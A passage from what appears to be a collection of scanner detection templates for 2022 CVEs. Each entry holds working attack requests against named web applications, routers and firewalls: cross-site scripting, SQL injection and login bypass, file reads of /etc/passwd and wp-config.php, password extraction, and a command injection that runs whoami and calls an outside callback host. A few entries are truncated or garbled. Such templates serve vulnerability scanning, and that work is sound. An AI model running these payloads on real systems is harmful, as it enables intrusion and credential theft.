Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?toast=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["text: \""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44952","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=configuration/save&redirect_to=configuration/application HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryMh2HSjWbM7zJjWOA\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"form_session_token\"\n\n{{nonce}}\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_NAME]\"\n\nTest\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_SHORT_NAME]\"\n\ntest\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"APP_LOGO\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_LOGO]\"\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_LOGO_URL]\"\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"APP_FAVICON\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_FAVICON]\"\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_COPYRIGHT_NAME]\"\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_LANGUAGE]\"\n\nenglish.php\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_SKIN]\"\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_TIMEZONE]\"\n\nAmerica/New_York\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_ROWS_PER_PAGE]\"\n\n10\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_DATE_FORMAT]\"\n\nm/d/Y\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_DATETIME_FORMAT]\"\n\nm/d/Y H:i\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_NUMBER_FORMAT]\"\n\n2/./*\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_FIRST_DAY_OF_WEEK]\"\n\n0\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[DROP_DOWN_MENU_ON_HOVER]\"\n\n0\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[DISABLE_CHECK_FOR_UPDATES]\"\n\n0\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA--\n","@timeout: 5s\nGET /index.php?module=dashboard/ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_4 == 200","contains(content_type_4, \"text/html\")","contains(body_4, \"\")","contains(body_4, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-37299","info":{"name":"Shirne CMS 1.2.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["cm9vd"]},{"type":"word","part":"header","words":["image/png"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32015","info":{"name":"Complete Online Job Search System 1.0 - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5({{num}}),15,16,17,18,19--+"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2022-35493","info":{"name":"eShop 3.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":["Search Result for \\\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31978","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /classes/Master.php?f=delete_inquiry HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid='+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"status\\\":\\\"success\")"],"condition":"and"}]}]},{"id":"CVE-2022-33174","info":{"name":"Powertek Firmware <3.30.30 - Authorization Bypass","severity":"high"},"requests":[{"raw":["GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1\nHost: {{Hostname}}\nCookie: tmpToken=;\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["",""]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["([A-Z0-9a-z]+)<\\/sys\\.passwd>","([a-z]+)<\\/sys\\.su\\.name>"],"part":"body"}]}]},{"id":"CVE-2022-1595","info":{"name":"WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure","severity":"medium"},"requests":[{"raw":["HEAD /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nCookie: valid_login_slug=1\n","HEAD /wp-login.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_1 == 302","contains(header_1, 'wordpress_')","contains(header_1, 'Location')"],"condition":"and"},{"type":"dsl","dsl":["status_code_2 != 302"]}]}]},{"id":"CVE-2022-1221","info":{"name":"WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[" popup-"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24265","info":{"name":"Cuppa CMS v1.0 - SQL injection","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","@timeout: 20s\nPOST /components/menu/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\npath=component%2Fmenu%2F%26menu_filter%3D3'+and+sleep(6)--+-&data_get=eyJtZW51X2ZpbHRlciI6IjMifQ%3D%3D&uniqueClass=wrapper_content_906185\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"menu/html/edit.php\")"],"condition":"and"}]}]},{"id":"CVE-2022-1910","info":{"name":"WordPress Shortcodes and Extra Features for Phlox <2.9.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=aux_the_recent_products&data[wp_query_args][post_type]=post&data[title]=%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["widget-title\">","aux-widget"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0678","info":{"name":"Microweber <1.2.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/demo/api/logout?redirect_to=/asdf%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">","content=\"Microweber\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-39952","info":{"name":"Fortinet FortiNAC - Arbitrary File Write","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/configWizard/keyUpload.jsp"],"body":"--{{boundaryId}}\nContent-Disposition: form-data; name=\"key\"; filename=\"{{to_lower(rand_text_alphanumeric(8))}}.zip\"\n\n{{randstr}}\n--{{boundaryId}}--\n","headers":{"Content-Type":"multipart/form-data; boundary={{boundaryId}}"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["zipUploadSuccess","SuccessfulUpload"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-42747","info":{"name":"CandidATS 3.0.0 - Cross-Site Scripting.","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&sortDirection=desc&indexFile=1&isPopup=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","candidat"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-38637","info":{"name":"Hospital Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /hms/user-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["User  | Dashboard","Book My Appointment"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34047","info":{"name":"WAVLINK WN530HG4 - Improper Access Control","severity":"high"},"requests":[{"raw":["GET /set_safety.shtml?r=52300 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var syspasswd=\"","APP"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["syspasswd=\"(.+?)\""]}]}]},{"id":"CVE-2022-3506","info":{"name":"WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=rp4wp HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/options.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\noption_page=rp4wp&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Drp4wp&rp4wp%5Bautomatic_linking%5D=1&rp4wp%5Bautomatic_linking_post_amount%5D=3&rp4wp%5Bheading_text%5D=%22+autofocus+onfocus%3Dalert%28document.domain%29%3E&rp4wp%5Bexcerpt_length%5D=15&rp4wp%5Bcss%5D=.rp4wp-related-posts+ul%7Bwidth%3A100%25%3Bpadding%3A0%3Bmargin%3A0%3Bfloat%3Aleft%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%7Blist-style%3Anone%3Bpadding%3A0%3Bmargin%3A0%3Bpadding-bottom%3A20px%3Bclear%3Aboth%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%3Ep%7Bmargin%3A0%3Bpadding%3A0%3B%7D%0D%0A.rp4wp-related-post-image%7Bwidth%3A35%25%3Bpadding-right%3A25px%3B-moz-box-sizing%3Aborder-box%3B-webkit-box-sizing%3Aborder-box%3Bbox-sizing%3Aborder-box%3Bfloat%3Aleft%3B%7D\n","GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header_4, 'text/html')","status_code_4 == 200","contains(body_4, \"value=\\\"\\\" autofocus onfocus=alert(document.domain)>\")","contains(body_4, 'The amount of automatically')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-z]+)\" />"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-0692","info":{"name":"Rudloff alltube prior to 3.0.1 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-2373","info":{"name":"WordPress Simply Schedule Appointments <1.5.7.7 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/ssa/v1/users"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","regex":["response_code\":200","\"email\":\"([a-zA-Z-_0-9@.]+)\",\"display_name\":\"([a-zA-Z-_0-9@.]+)\",\"gravatar_url\":\"http?:\\\\\\/\\\\\\/([a-z0-9A-Z.\\\\\\/?=&@_-]+)\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44877","info":{"name":"CentOS Web Panel 7 <0.9.8.1147 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password=toor&commit=Login\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Login Redirect."]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","group":1,"regex":["([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"],"part":"interactsh_request"}]}]},{"id":"CVE-2022-45354","info":{"name":"Download Monitor <= 4.7.60 - Sensitive Information Exposure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/download-monitor/v1/user_data"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"registered\":","\"display_name\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31974","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=reports&date=2022-05-27%27%20union%20select%201,2,3,md5('{{num}}'),5,6,7,8,9,10--+"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34045","info":{"name":"WAVLINK WN530HG4 - Improper Access Control","severity":"critical"},"requests":[{"raw":["GET /backupsettings.dat HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Salted__"]},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31977","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /classes/Master.php?f=delete_team HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid='+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"status\\\":\\\"success\\\"}\")"],"condition":"and"}]}]},{"id":"CVE-2022-0594","info":{"name":"WordPress Shareaholic <9.7.6 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["plugin_version","shareaholic_server_reachable"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24181","info":{"name":"PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /iupjournals/index.php/esj HTTP/2\nHost: {{Hostname}}\nX-Forwarded-Host: foo\">alert(document.domain)"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0271","info":{"name":"LearnPress <4.1.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"dismissed\":\"xxx\"}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29014","info":{"name":"Razer Sila Gaming Router 2.0.441_api-2.0.418 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /ubus/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n{\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"call\",\"params\":[\"4183f72884a98d7952d953dd9439a1d1\",\"file\",\"read\",{\"path\":\"/etc/passwd\"}]}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43015","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /ajax.php?f=getPipelineJobOrder&joborderID=2&page=0&entriesPerPage=15)\">%20&sortBy=dateCreatedInt&sortDirection=desc&indexFile=index.php&isPopup=0 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","MySQL Query Failed"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28032","info":{"name":"Atom CMS v2.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nGET /admin/ajax/pages.php?id=(sleep(6)) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"Page Deleted\")"],"condition":"and"}]}]},{"id":"CVE-2022-1119","info":{"name":"WordPress Simple File List <3.2.8 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0954","info":{"name":"Microweber <1.2.11 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /api/save_option HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}/admin/view:shop/action:options\n\noption_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother\n","POST /module/ HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}/admin/view:shop/action:options\n\nmodule=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2,\"true\")","contains(body_3,'\\\">\\\" placeholder=\\\"Use default')","contains(header_3,\"text/html\")","status_code_3==200"],"condition":"and"}]}]},{"id":"CVE-2022-4117","info":{"name":"WordPress IWS Geo Form Fields <=1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncountry_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"\\\"status\\\":200\") && contains(body, \"{\\\"html\\\":\")"],"condition":"and"}]}]},{"id":"CVE-2022-29007","info":{"name":"Dairy Farm Shop Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /dfsms/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername=admin' or '1'='1&password=1&login=login\n","GET /dfsms/add-category.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Add Product","Admin","DFSMS"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0208","info":{"name":"WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["","Bad mapid"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0169","info":{"name":"Photo Gallery by 10Web < 1.6.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5({{num}}),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1040","info":{"name":"Sophos Firewall <=18.5 MR3 - Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/userportal/Controller?mode=8700&operation=1&datagrid=179&json={\"\ud83e\udd9e\":\"test\"}"],"headers":{"X-Requested-With":"XMLHttpRequest"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"status\":\"Session Expired\"}"]},{"type":"word","part":"header","words":["Server: xxxx"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26233","info":{"name":"Barco Control Room Management Suite <=2.9 Build 0275 - Local File Inclusion","severity":"high"},"requests":[{"raw":["GET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1\nHost: {{Hostname}}\n\n"],"unsafe":true,"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2022-0218","info":{"name":"HTML Email Template Designer < 3.1 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?rest_route=/whm/v3/themesettings"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"background\":","\"footer\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29298","info":{"name":"SolarView Compact 6.00 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24856","info":{"name":"Flyte Console <0.52.0 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cors_proxy/https://oast.me/"],"matchers":[{"type":"word","words":["Interactsh Server"]}]}]},{"id":"CVE-2022-40083","info":{"name":"Labstack Echo 4.8.0 - Open Redirect","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}//interactsh.com%2f.."],"matchers-condition":"and","matchers":[{"type":"regex","part":"location","regex":["^\\s*//interactsh.com/\\.\\."]},{"type":"status","status":[301]}]}]},{"id":"CVE-2022-30489","info":{"name":"Wavlink WN-535G3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /cgi-bin/login.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnewUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=\")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["","parent.location.replace(\"http://\")"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1057","info":{"name":"WordPress Pricing Deals for WooCommerce <=2.0.2.02 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nGET /wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%27+union+select+1,sleep(6),3--+- HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 500","contains(body, \"been a critical error\")"],"condition":"and"}]}]},{"id":"CVE-2022-2467","info":{"name":"Garage Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT&password=412312&login=test2334\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=5"]},{"type":"word","part":"body","words":["Garage Billing Software"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-36883","info":{"name":"Jenkins Git <=4.11.3 - Missing Authorization","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/git/notifyCommit?url={{randstr}}&branches={{randstr}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["repository:","SCM API plugin"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29383","info":{"name":"NETGEAR ProSafe SSL VPN firmware - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /scgi-bin/platform.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\n\nthispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5435'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd\n","POST /scgi-bin/platform.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\n\nthispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5434'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_1, \"User authentication Failed\")","contains(body_2, \"User Login Failed for SSLVPN User.\")"],"condition":"and"}]}]},{"id":"CVE-2022-0656","info":{"name":"uDraw <3.3.3 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: 